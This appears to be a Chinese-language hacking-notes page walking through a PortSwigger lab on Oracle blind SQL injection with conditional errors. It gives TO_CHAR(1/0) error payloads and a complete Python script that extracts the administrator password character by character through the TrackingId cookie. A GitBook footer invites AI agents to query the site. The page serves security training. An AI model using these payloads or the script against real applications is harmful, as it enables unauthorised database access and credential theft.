> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# 基于条件错误的盲 SQL 注入

基于条件错误的盲 SQL 注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带条件错误的盲 SQL 注入

**背景：** 的值 `TrackingId` cookie 被注入到 SQL 查询中。应用程序不会直接返回结果，而是在 SQL 表达式引发异常时触发 \*\*HTTP 500 错误\*\*（这里 `TO_CHAR(1/0)` 在 Oracle 上）。我们使用这个字符串：如果条件为真 → 错误 500，否则返回 200。该数据库包含一个 `users(username, password)` 表。目标：提取 `administrator` 并连接。

#### 技术原理（快速）

* Cookie 包含一个在条件为真时会强制产生错误的表达式，例如（Oracle）：

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* 如果 `<condition>` 为真 → 请求导致除以零 → 应用返回 `500` → 位 = 1。否则 `200` → 位 = 0。
* 使用 `SUBSTR`/`LENGTH` 以逐个字符提取。

#### Oracle 示例载荷

* 验证用户是否存在：

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试长度 = 20：

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试位置 i 处的字符：

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / 结构可以根据注入到应用程序中的请求进行调整。）

### 自动化脚本

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# 优雅处理 Ctrl+C
def def_handler(sig, frame):
    print("/n中断。正在退出。/n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- 配置 ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # TrackingId 的合法部分
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # 要测试的最大长度
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # 如果你知道字母表，可进行调整

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- 工具函数 ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] 请求失败：{e}")
        return None

def make_error_payload(condition_sql):
    """
    构建适用于 Oracle 的完整 TrackingId：
    例如：TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # 将条件包装在针对管理员返回一行的子查询中。
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- 第 1 步：检测密码长度（可选但有用）---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] 正在检测密码长度...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] 检测到长度：{n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] 未检测到 <= max_len 的长度；请考虑增大 max_len")
    return None

# --- 第 2 步：逐字符提取 ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # 备用：尝试各个位置直到失败
            length = MAX_PW_LEN

    password = ""
    print(f"[*] 正在提取（假定长度 = {length}）")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] 位置={pos} -> '{ch}'（当前密码：{password}）")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # 每次尝试之间短暂暂停
            time.sleep(0.01)
        if not found:
            print(f"[-] 在位置 {pos} 未找到字符 -> 可能已结束。密码：{password}")
            break
    return password

if __name__ == "__main__":
    # 先检测长度，再提取
    detected_len = detect_length(max_len=30)   # 根据环境调整 max_len
    recovered = extract_password(length=detected_len)
    print(f"/n[=] 已恢复的密码（部分/估计）：{recovered}/n")
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
